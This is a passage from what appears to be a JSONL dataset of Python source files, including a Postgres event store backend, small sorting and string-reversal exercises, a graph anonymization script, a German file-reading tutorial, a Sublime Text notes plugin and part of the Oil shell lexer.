Json(event.payload)\n return doc\n\n def _deserialize_event(self, doc):\n doc.pop('stored_at')\n event_type = doc.pop('event_type')\n payload = doc.pop('payload')\n request_d = {k: v for k, v in ((a, doc.pop(a)) for a in ('user_agent', 'ip', 'user')) if v}\n if request_d:\n doc['request'] = EventRequest.deserialize(request_d)\n else:\n doc['request'] = None\n event_cls = event_cls_from_type(event_type)\n event = event_cls(EventMetadata(event_type, **doc),\n payload)\n return event\n\n def store(self, event):\n self.wait_and_configure_if_necessary()\n if isinstance(event, dict):\n event = event_from_event_d(event)\n with self._conn:\n doc = self._serialize_event(event)\n with self._conn.cursor() as cur:\n cur.execute('insert into events (machine_serial_number, '\n 'event_type, uuid, index, user_agent, ip, \"user\", payload, created_at) '\n 'values (%(machine_serial_number)s, %(event_type)s, '\n '%(uuid)s, %(index)s, %(user_agent)s, %(ip)s, %(user)s, %(payload)s, %(created_at)s)',\n doc)\n\n # machine events\n\n def machine_events_count(self, machine_serial_number, event_type=None):\n self.wait_and_configure_if_necessary()\n with self._conn:\n query = \"select count(*) from events where machine_serial_number = %s\"\n args = [machine_serial_number]\n if event_type:\n query = \"{} and event_type = %s\".format(query)\n args.append(event_type)\n with self._conn.cursor() as cur:\n cur.execute(query, args)\n return cur.fetchone()[0]\n\n def machine_events_fetch(self, machine_serial_number, offset=0, limit=0, event_type=None):\n self.wait_and_configure_if_necessary()\n query = \"select * from events where machine_serial_number = %s\"\n args = [machine_serial_number]\n if event_type:\n query = \"{} and event_type = %s\".format(query)\n args.append(event_type)\n query = \"{} order by created_at desc\".format(query)\n if offset:\n query = \"{} offset %s\".format(query)\n args.append(offset)\n if limit:\n query = \"{} limit %s\".format(query)\n args.append(limit)\n with self._conn:\n with self._conn.cursor() as cur:\n cur.execute(query, args)\n columns = [t.name for t in cur.description]\n for t in cur.fetchall():\n yield self._deserialize_event(dict(zip(columns, t)))\n\n def machine_events_types_with_usage(self, machine_serial_number):\n self.wait_and_configure_if_necessary()\n query = \"select event_type, count(*) from events where machine_serial_number = %s group by event_type\"\n types_d = {}\n with self._conn.cursor() as cur:\n cur.execute(query, [machine_serial_number])\n for t in cur.fetchall():\n types_d[t[0]] = t[1]\n return types_d\n\n # probe events\n\n # TODO: not implemented\n\n # app hist\n\n # TODO: not implemented\n\n def close(self):\n self._conn.close()\n","sub_path":"zentral/core/stores/backends/postgres.py","file_name":"postgres.py","file_ext":"py","file_size_in_byte":6247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338233962","text":"n = int(input())\n\na = input().split()\n\na = [int(x) for x in a]\n\ncount = 0\n\nfor i in range(0, n):\n minj = i\n for j in range(i, n):\n if a[j] < a[minj]:\n minj = j\n \n if i != minj:\n tmp = a[i]\n a[i] = a[minj]\n a[minj] = tmp\n count += 1\n\nfor i,x in enumerate(a):\n if i != len(a)-1:\n print(x, end=\" \")\n else:\n print(x, end=\"\")\nprint()\nprint(count)\n","sub_path":"ALDS1/selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"355509181","text":"'''\n输入一个整数,将这个整数以字符串的形式逆序输出\n\n程序不考虑负数的情况,若数字含有0,则逆序形式也含有0,如输入为100,则输出为001\n'''\nimport sys\n\ninput_number = sys.stdin.readline().strip()\ninput_list = list(input_number)\ninput_list.reverse()\nstr1 = ''\nl = str1.join(input_list)\nprint(l)\n","sub_path":"algorithm/刷题/HJ11_数字颠倒.py","file_name":"HJ11_数字颠倒.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"380806933","text":"import networkx as nx\nimport numpy as np\nfrom networkx.algorithms.community.centrality import girvan_newman\nimport networkx.algorithms.centrality as centrality\nimport itertools\n\n\nchange_list = []\n\n\ndef conduct(G, k_list):\n centrality.closeness_centrality(G)\n print(len(G.edges))\n dmax = max([degree for id, degree in G.degree()])\n degree_list = [[]] * (dmax + 1)\n for id, degree in G.degree():\n degree_list[degree].append(id)\n print(degree_list)\n delta_num = []\n must_k = []\n for i in range(dmax + 1):\n delta_num.append(k_list[i] - len(degree_list[i]))\n for d_list in degree_list:\n temp_list = d_list.copy()\n for node_id in temp_list:\n if G.node[node_id].get('isLocked') is True:\n must_k[G.degree[node_id]] = True\n d_list.remove(node_id)\n node_for_edge = ready_for_connect(degree_list, delta_num,dmax)\n connect(G, node_for_edge, dmax, k_list)\n return True\n # print('\\n')\n # degree_list = [[] for i in range(dmax + 1)]\n # for id, degree in G.degree():\n # degree_list[degree].append(id)\n # print(len(G.edges))\n\n\ndef ready_for_connect(degree_list, delta_num, dmax):\n reduce = [0] * len(delta_num)\n node_for_edge = []\n i = len(delta_num) - 1\n last_degree = dmax + 1\n while i >= 1:\n if delta_num[i] + reduce[i] > 0:\n edge_num = 1\n if len(degree_list[i - 1]) > delta_num[i] + reduce[i]:\n pick_list = np.random.choice(degree_list[i - 1], delta_num[i] + reduce[i], replace=False).tolist()\n node_for_edge.append({'lack': delta_num[i] + reduce[i], 'node': pick_list, 'num': edge_num})\n for value in pick_list:\n degree_list[i - 1].remove(value)\n reduce[i - 1] = delta_num[i] + reduce[i]\n last_degree = i\n else:\n left = delta_num[i] + reduce[i]\n now = i - 1\n node_for_edge_tmp = []\n remove_list = []\n temp_i = i\n while left > 0 and i > 0:\n if left < len(degree_list[now]):\n lack = left\n reduce[now] = left\n else:\n lack = len(degree_list[now])\n i = i - 1\n if lack > 0:\n pick_list = np.random.choice(degree_list[now], lack, replace=False).tolist()\n node_for_edge_tmp.append({'lack': lack, 'node': pick_list, 'num': edge_num})\n remove_list.append({'degree': now, 'list': pick_list})\n edge_num = edge_num + 1\n now = now - 1\n left = left - lack\n if left > 0:\n node_for_edge.append({'lack': len(degree_list[temp_i]),\n 'node': degree_list[temp_i],\n 'num': last_degree - temp_i})\n i = temp_i\n for j in range(1, temp_i + 1):\n reduce[j] = 0\n # for j in range(1, temp_i + 1):\n # node_for_edge.append({'lack': len(degree_list[j]), 'node': degree_list[j], 'num': last_degree - j})\n # break\n else:\n last_degree = temp_i\n node_for_edge = node_for_edge + node_for_edge_tmp\n for remove_obj in remove_list:\n for value in remove_obj['list']:\n degree_list[remove_obj['degree']].remove(value)\n else:\n last_degree = i\n i = i - 1\n return node_for_edge\n\n\ndef connect(G, node_for_edge, dmax, k_list):\n node_wait_list = []\n change_list.clear()\n for i in range(len(node_for_edge)):\n pick_list = node_for_edge[i]['node']\n node_wait_list = node_wait_list + [{'id': pick_list[j], 'num': node_for_edge[i]['num']} for j in range(len(pick_list))]\n node_wait_list = sorted(node_wait_list, key=lambda x:x['num'], reverse=True)\n print(node_wait_list)\n for i in range(len(node_wait_list)):\n if node_wait_list[i]['num'] <= 0:\n continue\n for j in range(i + 1, len(node_wait_list)):\n if node_wait_list[i]['num'] <= 0:\n break\n if node_wait_list[j]['num'] <= 0:\n continue\n if G.has_edge(node_wait_list[i]['id'], node_wait_list[j]['id']) is False:\n G.add_edge(node_wait_list[i]['id'], node_wait_list[j]['id'])\n node_wait_list[i]['num'] = node_wait_list[i]['num'] - 1\n node_wait_list[j]['num'] = node_wait_list[j]['num'] - 1\n node_wait_list = list(filter(lambda s: s['num'] > 0, node_wait_list))\n # degree_list = [[] for i in range(dmax + 1)]\n # for id, degree in G.degree():\n # degree_list[degree].append(id)\n while i < len(node_wait_list):\n degree_list = [[] for i in range(dmax + 1)]\n dmax = max([degree for id, degree in G.degree()])\n for id, degree in G.degree():\n degree_list[degree].append(id)\n add_edges = 0\n for j in range(len(degree_list)):\n if len(degree_list[j]) <= k_list[j] or j >= len(degree_list) - 1 or len(degree_list[j + 1]) == 0:\n continue\n count = 0\n for id in degree_list[j]:\n if G.has_edge(node_wait_list[i]['id'], id) is False:\n G.add_edge(node_wait_list[i]['id'], id)\n node_wait_list[i]['num'] = node_wait_list[i]['num'] - 1\n count = count + 1\n add_edges = add_edges + 1\n if count >= len(degree_list[j]) - k_list[j] or node_wait_list[i]['num'] <= 0:\n break\n if node_wait_list[i]['num'] <= 0:\n i = i + 1\n break\n if add_edges <= 0:\n i = i + 1\n print(node_wait_list)\n\n\nif __name__ == '__main__':\n G = nx.Graph()\n try:\n f = open('../data.txt', 'r')\n for line in f.readlines():\n edge = line.strip().split(' ')\n if int(edge[0]) > 300:\n break\n if int(edge[1]) > 300:\n continue\n G.add_edge(edge[0], edge[1])\n finally:\n if f:\n f.close()\n comp = girvan_newman(G)\n # tu = tuple(sorted(c) for c in next(comp))\n # print(tu)\n \n limited = itertools.takewhile(lambda c: len(c) <= 20 and len(c) >= 1, comp)\n for communities in limited:\n print(tuple(sorted(c) for c in communities))\n # dmax = max([degree for id, degree in G.degree()])\n # k_list = [5 for i in range(dmax + 1)]\n # conduct(G, k_list)","sub_path":"algorithm/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619574714","text":"'''\nMit open kann man Dateien öffnen. Jeh nach modus gibt man hier bestimmte rechte auf die Datei.\n\n readme = open(\"Dateien_lesen.py\", \"r\")\n\nMit dem Befehl öffnen wir genau diese Datei hier im \"nur lese Modus\"\nWenn wir bei , \"r\") das r austauschen gibt es Folgende Möglichkeiten.\n\nr = read leserechte\nw = write schreibrechte !!!!! ACHTUNG !!!!! vorhandener inhalt wird überschrieben\na = append Der Datei etwas anfügen\nr+ = read and write lese und schreiberechte\n\nIm Anschluss sollte die Datei immer geschlossen werden.\n'''\n\nreadme = open(\"Dateien_lesen.py\", \"r\") #Wir öffnen die Datei\nprint(readme.readable()) #ist die Datei lesbar\n#print(readme.read()) #gibt die Datei aus\n#print(readme.readline()) #gibt die erste Zeile aus\n#print(readme.readline()) #und die folgende\n#print(readme.readline()) #…\n#print(readme.readlines()) #Gibt alles als Array aus\n#print(readme.readlines()[3]) #Da es ein Array ist kann man auch entsprechend damit umgehen\n\ncount = 1\nfor i in readme.readlines():\n print(\"Zeile \" + str(count) + \" : \" + i)\n count+=1\n\nreadme.close() #Schließt die Datei","sub_path":"Dateien_lesen.py","file_name":"Dateien_lesen.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598032874","text":"import sublime\nimport sublime_plugin\nimport os\nimport re\nimport codecs\nfrom . import scope\n\ndef create_note_buffer(context, edit):\n\tpanel = context.view.window().new_file()\n\tpanel.set_scratch(True)\n\tpanel.set_name('Notes')\n\tpanel.set_syntax_file('Packages/Wellspring/Wellspring.sublime-syntax')\n\n\t# panel.erase(edit, sublime.Region(0, panel.size()))\n\n\treturn panel\n\ndef extract_info_from_files():\n\treferenced_file_names = (re.compile(\"\\\\[\\\\[\\\\s*include:\\\\s+(\\\\S.*?)\\\\s*\\\\]\\\\]\").findall(manifest))\n\ndef write_to_buffer(file, edit, text):\n\tfile.insert(edit, file.size(), text + '\\n')\n\nclass WellspringListNotesCommand(sublime_plugin.TextCommand):\n\tdef run(self, edit):\n\t\t# get origin buffer\n\t\tsource_file = self.view.window().active_view()\n\n\t\t# extract name information\n\t\tsource_file_name = source_file.file_name()\n\t\tsource_file_path = os.path.dirname (source_file_name)\n\t\tsource_file_name = os.path.basename(source_file_name)\n\n\t\t# create destination buffer\n\t\toutput_file = create_note_buffer(self, edit)\n\t\toutput_file.set_syntax_file('Packages/Wellspring/Wellspring Note.sublime-syntax')\n\n\t\tfirst_note = True\n\n\t\t# handle the source file with scope selectors because we're lazy\n\t\tfor region in source_file.find_by_selector(scope.note):\n\t\t\tregion_text = source_file.substr(region).rstrip().replace('[[','').replace(']]','')\n\n\t\t\tif \"include:\" in region_text:\n\t\t\t\tfirst_note = False\n\t\t\t\trelative_path = region_text.replace('include:','').strip()\n\t\t\t\tabsolute_path = os.path.join(source_file_path, relative_path)\n\n\t\t\t\tif os.path.exists(absolute_path):\n\t\t\t\t\twrite_to_buffer(output_file, edit, '\\n' + relative_path)\n\n\t\t\t\t\twith codecs.open(absolute_path, \"r\", \"utf-8\") as f:\n\t\t\t\t\t\tfile_content = f.read()\n\n\t\t\t\t\tnotes_list = (re.compile(\"\\\\[\\\\[(.+)\\\\]\\\\]\").findall(file_content))\n\n\t\t\t\t\tfor note in notes_list:\n\t\t\t\t\t\twrite_to_buffer(output_file, edit, note)\n\n\t\t\t\t\twrite_to_buffer(output_file, edit, '\\n' + source_file_name)\n\n\t\t\telif \"reference:\" in region_text:\n\t\t\t\tfirst_note = False\n\t\t\t\theader = '{} (inside {})'.format(region_text.replace('reference:','').strip(), source_file_name)\n\n\t\t\t\twrite_to_buffer(output_file, edit, '\\n' + header)\n\n\t\t\telif \"/reference\" in region_text:\n\t\t\t\tfirst_note = False\n\t\t\t\twrite_to_buffer(output_file, edit, '\\n' + source_file_name)\n\n\t\t\telse:\n\t\t\t\tif first_note:\n\t\t\t\t\twrite_to_buffer(output_file, edit, '\\n' + source_file_name)\n\t\t\t\t\tfirst_note = False\n\n\t\t\t\tline_number = str(source_file.rowcol(region.end())[0] + 1).ljust(8,' ')\n\n\t\t\t\twrite_to_buffer(output_file, edit, \"L{} {}\".format(line_number, region_text))","sub_path":"notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"649405185","text":"\"\"\"\nlex.py -- A lexer for both shell and Oil.\n\nIt consists of a series of lexer modes, each with a regex -> Id mapping.\n\nAfter changing this file, run:\n\n build/dev.sh all\n \nor at least:\n\n build/dev.sh fastlex\n\nInput Handling\n--------------\n\nEvery line is NUL terminated:\n\n 'one\\n\\0' 'last line\\0'\n\nwhich means that no regexes below should match \\0. The core/lexer_gen.py code\ngenerator adds and extra rule for \\0.\n\nFor example, use [^'\\0]+ instead of [^']+ .\n\nIf this rule isn't followed, we would read unitialized memory past the\nsentinel. Python's regex engine knows where the end of the input string is, so\nit doesn't require need a sentinel like \\0.\n\"\"\"\n\nfrom _devbuild.gen.id_kind_asdl import Id, Id_t, Kind\nfrom _devbuild.gen.types_asdl import lex_mode_e\n\nfrom frontend import id_kind\n\nfrom typing import Tuple\n\n# Initialize spec that the lexer depends on.\n# NOTE: This is duplicated in frontend/id_kind_gen.py.\nID_SPEC = id_kind.IdSpec({}, {})\n\nid_kind.AddKinds(ID_SPEC)\nid_kind.AddBoolKinds(ID_SPEC) # must come second\nid_kind.SetupTestBuiltin(ID_SPEC, {}, {}, {})\n\n\ndef C(pat, tok_type):\n # type: (str, Id_t) -> Tuple[bool, str, Id_t]\n \"\"\" Lexer rule with a constant string, e.g. C('$*', VSub_Star) \"\"\"\n return (False, pat, tok_type)\n\n\ndef R(pat, tok_type):\n # type: (str, Id_t) -> Tuple[bool, str, Id_t]\n \"\"\" Lexer rule with a regex string, e.g. R('\\$[0-9]', VSub_Number) \"\"\"\n return (True, pat, tok_type)\n\n\n# See unit tests in frontend/match_test.py.\n# We need the [^\\0]* because the re2c translation assumes it's anchored like $.\nSHOULD_HIJACK_RE = r'#!.*sh[ \\t\\r\\n][^\\0]*'\n\n\n_SIGNIFICANT_SPACE = R(r'[ \\t\\r]+', Id.WS_Space)\n\n_BACKSLASH = [\n R(r'\\\\[^\\n\\0]', Id.Lit_EscapedChar),\n C('\\\\\\n', Id.Ignored_LineCont),\n]\n\nVAR_NAME_RE = r'[a-zA-Z_][a-zA-Z0-9_]*'\n\n# All Kind.VSub\n_VARS = [\n # Unbraced variables\n R(r'\\$' + VAR_NAME_RE, Id.VSub_DollarName),\n R(r'\\$[0-9]', Id.VSub_Number),\n C(r'$!', Id.VSub_Bang),\n C(r'$@', Id.VSub_At),\n C(r'$#', Id.VSub_Pound),\n C(r'$$', Id.VSub_Dollar),\n C(r'$*', Id.VSub_Star),\n C(r'$-', Id.VSub_Hyphen),\n C(r'$?', Id.VSub_QMark),\n]\n\n# Kind.Left that are valid in double-quoted modes.\n\n_LEFT_SUBS = [\n C('`', Id.Left_Backtick),\n C('$(', Id.Left_DollarParen),\n C('${', Id.Left_DollarBrace),\n C('$((', Id.Left_DollarDParen),\n C('$[', Id.Left_DollarBracket),\n]\n\n# Additional Kind.Left that are valid in unquoted modes.\n_LEFT_UNQUOTED = [\n C('\"', Id.Left_DoubleQuote),\n C(\"'\", Id.Left_SingleQuoteRaw),\n C('$\"', Id.Left_DollarDoubleQuote),\n C(\"$'\", Id.Left_SingleQuoteC),\n\n C('<(', Id.Left_ProcSubIn),\n C('>(', Id.Left_ProcSubOut),\n]\n\n# The regexes below are in Python syntax, but are translate to re2c syntax by\n# frontend/lexer_gen.py.\n#\n# http://re2c.org/manual/syntax/syntax.html\n# https://docs.python.org/2/library/re.html\n#\n# We use a limited set of constructs:\n# - + and * for repetition\n# - Character classes [] with simple ranges and negation\n# - Escapes like \\n \\0\n\nLEXER_DEF = {} # TODO: Should be a list so we enforce order.\n\n# Anything until the end of the line is a comment. Does not match the newline\n# itself. We want to switch modes and possibly process Op_Newline for here\n# docs, etc.\nLEXER_DEF[lex_mode_e.Comment] = [\n R(r'[^\\n\\0]*', Id.Ignored_Comment)\n]\n\n# A whitelist for efficiency. The shell language says that \"anything else\" is\n# a literal character. In other words, a single $ \\ or ! is a literal, not a\n# syntax error. It's defined negatively, but let's define positive runs here.\n# TODO: Add + and @ here they are never special? It's different for Oil\n# though.\n_LITERAL_WHITELIST_REGEX = r'[a-zA-Z0-9_/.-]+'\n\n_UNQUOTED = _BACKSLASH + _LEFT_SUBS + _LEFT_UNQUOTED + _VARS + [\n # NOTE: We could add anything 128 and above to this character class? So\n # utf-8 characters don't get split?\n R(_LITERAL_WHITELIST_REGEX, Id.Lit_Chars),\n\n # For tilde expansion. The list of chars is Lit_Chars, but WITHOUT the /. We\n # want the next token after the tilde TildeLike token start with a /.\n # NOTE: Happens in both ShCommand and DBracket modes.\n R(r'~[a-zA-Z0-9_.-]*', Id.Lit_TildeLike),\n\n C('#', Id.Lit_Pound), # For comments\n _SIGNIFICANT_SPACE,\n\n C('\\n', Id.Op_Newline),\n\n C('&', Id.Op_Amp),\n C('|', Id.Op_Pipe),\n C('|&', Id.Op_PipeAmp),\n C('&&', Id.Op_DAmp),\n C('||', Id.Op_DPipe),\n C(';', Id.Op_Semi),\n C(';;', Id.Op_DSemi),\n\n C('(', Id.Op_LParen),\n C(')', Id.Op_RParen),\n\n R(r'[^\\0]', Id.Lit_Other), # any other single char is a literal\n]\n\n# In ShCommand and DBracket states.\n_EXTGLOB_BEGIN = [\n C('@(', Id.ExtGlob_At),\n C('*(', Id.ExtGlob_Star),\n C('+(', Id.ExtGlob_Plus),\n C('?(', Id.ExtGlob_QMark),\n C('!(', Id.ExtGlob_Bang),\n]\n\n_KEYWORDS = [\n # NOTE: { is matched elsewhere\n C('[[', Id.KW_DLeftBracket),\n C('!', Id.KW_Bang),\n C('for', Id.KW_For),\n C('while', Id.KW_While),\n C('until', Id.KW_Until),\n C('do', Id.KW_Do),\n C('done', Id.KW_Done),\n C('in', Id.KW_In),\n C('case', Id.KW_Case),\n C('esac', Id.KW_Esac),\n C('if', Id.KW_If),\n C('fi', Id.KW_Fi),\n C('then', Id.KW_Then),\n C('else', Id.KW_Else),\n C('elif', Id.KW_Elif),\n C('function', Id.KW_Function),\n C('time', Id.KW_Time),\n\n # Oil integration\n C('const', Id.KW_Const),\n C('var', Id.KW_Var),\n C('setvar', Id.KW_SetVar),\n C('setref', Id.KW_SetRef),\n C('set', Id.KW_Set),\n C('setglobal', Id.KW_SetGlobal),\n C('proc', Id.KW_Proc),\n\n # Not used, but reserved for now?\n C('pass', Id.KW_Pass),\n C('func', Id.KW_Func),\n]\n\n# These are treated like builtins in bash, but keywords in OSH. However, we\n# maintain compatibility with bash for the 'type' builtin.\n_MORE_KEYWORDS = [\n C('break', Id.ControlFlow_Break),\n C('continue', Id.ControlFlow_Continue),\n C('return', Id.ControlFlow_Return),\n C('exit', Id.ControlFlow_Exit),\n]\n\n# Used by oil_lang/grammar_gen.py too\nEXPR_WORDS = [\n C('null', Id.Expr_Null),\n C('true', Id.Expr_True),\n C('false', Id.Expr_False),\n\n C('div', Id.Expr_Div),\n C('mod', Id.Expr_Mod),\n C('xor', Id.Expr_Xor),\n\n C('and', Id.Expr_And),\n C('or', Id.Expr_Or),\n C('not', Id.Expr_Not),\n\n C('for', Id.Expr_For),\n C('is', Id.Expr_Is),\n C('in', Id.Expr_In),\n C('if', Id.Expr_If),\n C('else', Id.Expr_Else),\n\n # for function literals\n C('func', Id.Expr_Func),\n\n # TODO: as ?\n # expr as List[Int] for casting? Or just cast(List[Int]], expr)?\n # What about specifying types without casting? 'of'?\n]\n\n\n# The 'compen' and 'type' builtins introspect on keywords and builtins.\nOSH_KEYWORD_NAMES = [name for _, name, _ in _KEYWORDS]\nOSH_KEYWORD_NAMES.append('{') # not in our lexer list\nOTHER_OSH_BUILTINS = [name for _, name, _ in _MORE_KEYWORDS]\n\n\ndef IsOtherBuiltin(name):\n # type: (str) -> bool\n return name in OTHER_OSH_BUILTINS\n\n\ndef IsKeyword(name):\n # type: (str) -> bool\n return name in OSH_KEYWORD_NAMES\n\n\n# These two can must be recognized in the Outer state, but can't nested within\n# [[.\n# Keywords have to be checked before _UNQUOTED so we get instead\n# of .\nLEXER_DEF[lex_mode_e.ShCommand] = [\n # These four are not allowed within [[, so they are in ShCommand but not\n # _UNQUOTED.\n\n # e.g. beginning of NAME=val, which will always be longer than\n # _LITERAL_WHITELIST_REGEX.\n R(VAR_NAME_RE + '\\+?=', Id.Lit_VarLike),\n R(VAR_NAME_RE + '\\[', Id.Lit_ArrayLhsOpen),\n R(r'\\]\\+?=', Id.Lit_ArrayLhsClose),\n C('((', Id.Op_DLeftParen),\n\n # For static globbing, and [] for array literals\n C('[', Id.Lit_LBracket), # e.g. A=(['x']=1)\n C(']', Id.Lit_RBracket), # e.g. *.[ch]\n # NOTE: Glob_Star and Glob_QMark are for dynamic parsing\n C('*', Id.Lit_Star),\n C('?', Id.Lit_QMark),\n\n # For brace expansion {a,b}\n C('{', Id.Lit_LBrace),\n C('}', Id.Lit_RBrace), # Also for var sub ${a}\n C(',', Id.Lit_Comma),\n\n C('=', Id.Lit_Equals), # for x = 1+2*3\n\n # @array and @func(1, c)\n R('@' + VAR_NAME_RE, Id.Lit_Splice), # for Oil splicing\n\n R(r'[0-9]*<', Id.Redir_Less),\n R(r'[0-9]*>', Id.Redir_Great),\n R(r'[0-9]*<<', Id.Redir_DLess),\n R(r'[0-9]*<<<', Id.Redir_TLess),\n R(r'[0-9]*>>', Id.Redir_DGreat),\n R(r'[0-9]*<<-', Id.Redir_DLessDash),\n R(r'[0-9]*>&', Id.Redir_GreatAnd),\n R(r'[0-9]*<&', Id.Redir_LessAnd),\n R(r'[0-9]*<>', Id.Redir_LessGreat),\n R(r'[0-9]*>\\|', Id.Redir_Clobber),\n\n # No leading descriptor (2 is implied)\n C(r'&>', Id.Redir_AndGreat),\n C(r'&>>', Id.Redir_AndDGreat),\n\n] + _KEYWORDS + _MORE_KEYWORDS + _UNQUOTED + _EXTGLOB_BEGIN\n\n# Preprocessing before Outer\nLEXER_DEF[lex_mode_e.Backtick] = [\n C(r'`', Id.Backtick_Right),\n # A backslash, and then one of the SAME FOUR escaped chars in the DQ mode.\n R(r'\\\\[$`\"\\\\]', Id.Backtick_Quoted),\n R(r'[^`\\\\\\0]+', Id.Backtick_Other), # contiguous run of literals\n R(r'[^\\0]', Id.Backtick_Other), # anything else\n]\n\n# DBRACKET: can be like Outer, except:\n# - Don't really need redirects either... Redir_Less could be Op_Less\n# - Id.Op_DLeftParen can't be nested inside.\nLEXER_DEF[lex_mode_e.DBracket] = [\n C(']]', Id.Lit_DRightBracket),\n # Must be KW and not Op, because we can have stuff like [[ $foo == !* ]]\n # in addition to [[ ! a && b ]]\n C('!', Id.KW_Bang),\n C('<', Id.Op_Less),\n C('>', Id.Op_Great),\n] + ID_SPEC.LexerPairs(Kind.BoolUnary) + \\\n ID_SPEC.LexerPairs(Kind.BoolBinary) + \\\n _UNQUOTED + _EXTGLOB_BEGIN\n\n# Inside an extended glob, most characters are literals, including spaces and\n# punctuation. We also accept \\, $var, ${var}, \"\", etc. They can also be\n# nested, so _EXTGLOB_BEGIN appears here.\n#\n# Example: echo @(<> <>|&&|'foo'|$bar)\nLEXER_DEF[lex_mode_e.ExtGlob] = \\\n _BACKSLASH + _LEFT_SUBS + _LEFT_UNQUOTED + _VARS + _EXTGLOB_BEGIN + [\n R(r'[^\\\\$`\"\\'|)@*+!?\\0]+', Id.Lit_Chars),\n C('|', Id.Op_Pipe),\n C(')', Id.Op_RParen), # maybe be translated to Id.ExtGlob_RParen\n R(r'[^\\0]', Id.Lit_Other), # everything else is literal\n]\n\n# Notes on BASH_REGEX states\n#\n# From bash manual:\n#\n# - Any part of the pattern may be quoted to force the quoted portion to be\n# matched as a string.\n# - Bracket expressions in regular expressions must be treated carefully, since\n# normal quoting characters lose their meanings between brackets.\n# - If the pattern is stored in a shell variable, quoting the variable\n# expansion forces the entire pattern to be matched as a string.\n#\n# Is there a re.escape function? It's just like EscapeGlob and UnescapeGlob.\n#\n# TODO: For testing, write a script to extract and save regexes... and compile\n# them with regcomp. I've only seen constant regexes.\n#\n# From code: ( | ) are treated special.\n\nLEXER_DEF[lex_mode_e.BashRegex] = _LEFT_SUBS + _LEFT_UNQUOTED + _VARS + [\n # NOTE: bash accounts for spaces and non-word punctuation like ; inside ()\n # and []. We will avoid that and ask the user to extract a variable?\n\n R(r'[a-zA-Z0-9_/-]+', Id.Lit_Chars), # not including period\n _SIGNIFICANT_SPACE,\n\n # Normally, \\x evalutes to x. But quoted regex metacharacters like \\* should\n # evaluate to \\*. Compare with ( | ).\n R(r'\\\\[*+?.^$\\[\\]]', Id.Lit_RegexMeta),\n\n # Everything else is an escape.\n R(r'\\\\[^\\n\\0]', Id.Lit_EscapedChar),\n C('\\\\\\n', Id.Ignored_LineCont),\n\n # NOTE: ( | and ) aren't operators!\n R(r'[^\\0]', Id.Lit_Other), # everything else is literal\n]\n\nLEXER_DEF[lex_mode_e.DQ] = [\n # Only 4 characters are backslash escaped inside \"\".\n # https://www.gnu.org/software/bash/manual/bash.html#Double-Quotes\n R(r'\\\\[$`\"\\\\]', Id.Lit_EscapedChar),\n C('\\\\\\n', Id.Ignored_LineCont),\n] + _LEFT_SUBS + _VARS + [\n R(r'[^$`\"\\0\\\\]+', Id.Lit_Chars), # matches a line at most\n # NOTE: When parsing here doc line, this token doesn't end it.\n C('\"', Id.Right_DoubleQuote),\n R(r'[^\\0]', Id.Lit_Other), # e.g. \"$\"\n]\n\n_VS_ARG_COMMON = _BACKSLASH + [\n C('/', Id.Lit_Slash), # for patsub (not Id.VOp2_Slash)\n C('#', Id.Lit_Pound), # for patsub prefix (not Id.VOp1_Pound)\n C('%', Id.Lit_Percent), # for patsdub suffix (not Id.VOp1_Percent)\n C('}', Id.Right_DollarBrace), # For var sub \"${a}\"\n]\n\n# Kind.{LIT,IGNORED,VS,LEFT,RIGHT,Eof}\nLEXER_DEF[lex_mode_e.VSub_ArgUnquoted] = \\\n _VS_ARG_COMMON + _LEFT_SUBS + _LEFT_UNQUOTED + _VARS + [\n # NOTE: added < and > so it doesn't eat <()\n R(r'[^$`/}\"\\'\\0\\\\#%<>]+', Id.Lit_Chars),\n R(r'[^\\0]', Id.Lit_Other), # e.g. \"$\", must be last\n]\n\n# Kind.{LIT,IGNORED,VS,LEFT,RIGHT,Eof}\nLEXER_DEF[lex_mode_e.VSub_ArgDQ] = _VS_ARG_COMMON + _LEFT_SUBS + _VARS + [\n R(r'[^$`/}\"\\0\\\\#%]+', Id.Lit_Chars), # matches a line at most\n\n # Weird wart: even in double quoted state, double quotes are allowed\n C('\"', Id.Left_DoubleQuote),\n\n # Another weird wart of bash/mksh: $'' is recognized but NOT ''!\n C(\"$'\", Id.Left_SingleQuoteC),\n\n R(r'[^\\0]', Id.Lit_Other), # e.g. \"$\", must be last\n]\n\n# NOTE: Id.Ignored_LineCont is NOT supported in SQ state, as opposed to DQ\n# state.\nLEXER_DEF[lex_mode_e.SQ_Raw] = [\n R(r\"[^'\\0]+\", Id.Lit_Chars), # matches a line at most\n C(\"'\", Id.Right_SingleQuote),\n]\n\n# The main purpose for EXPR_CHARS is in regex literals, e.g. [a-z \\t \\n].\n#\n# Since chars are integers, means that \\u1234 is the same as 0x1234. And 0x0\n\n# In Python:\n# chr(0x00012345) == u'\\u00012345'\n#\n# In Oil:\n# \n# 0x00012345 == \\u00012345\n# chr(0x00012345) == chr(\\u00012345) == c'\\u00012345'\n#\n# The syntax follows Python, which is stricter than bash. There must be\n# exactly 2, 4, or 8 digits.\nEXPR_CHARS = [\n # This is like Rust. We don't have the legacy C escapes like \\b.\n\n # NOTE: \\' and \\\" are more readable versions of '\"' and \"'\" in regexs\n R(r'\\\\[0rtn\\\\\"%s]' % \"'\", Id.Char_OneChar),\n\n R(r'\\\\x[0-9a-fA-F]{2}', Id.Char_Hex),\n R(r'\\\\u[0-9a-fA-F]{4}', Id.Char_Unicode4),\n R(r'\\\\U[0-9a-fA-F]{8}', Id.Char_Unicode8),\n]\n\n# Shared between echo -e and $''.\n_C_STRING_COMMON = [\n\n # \\x6 is valid in bash\n R(r'\\\\x[0-9a-fA-F]{1,2}', Id.Char_Hex),\n R(r'\\\\u[0-9a-fA-F]{1,4}', Id.Char_Unicode4),\n R(r'\\\\U[0-9a-fA-F]{1,8}', Id.Char_Unicode8),\n\n 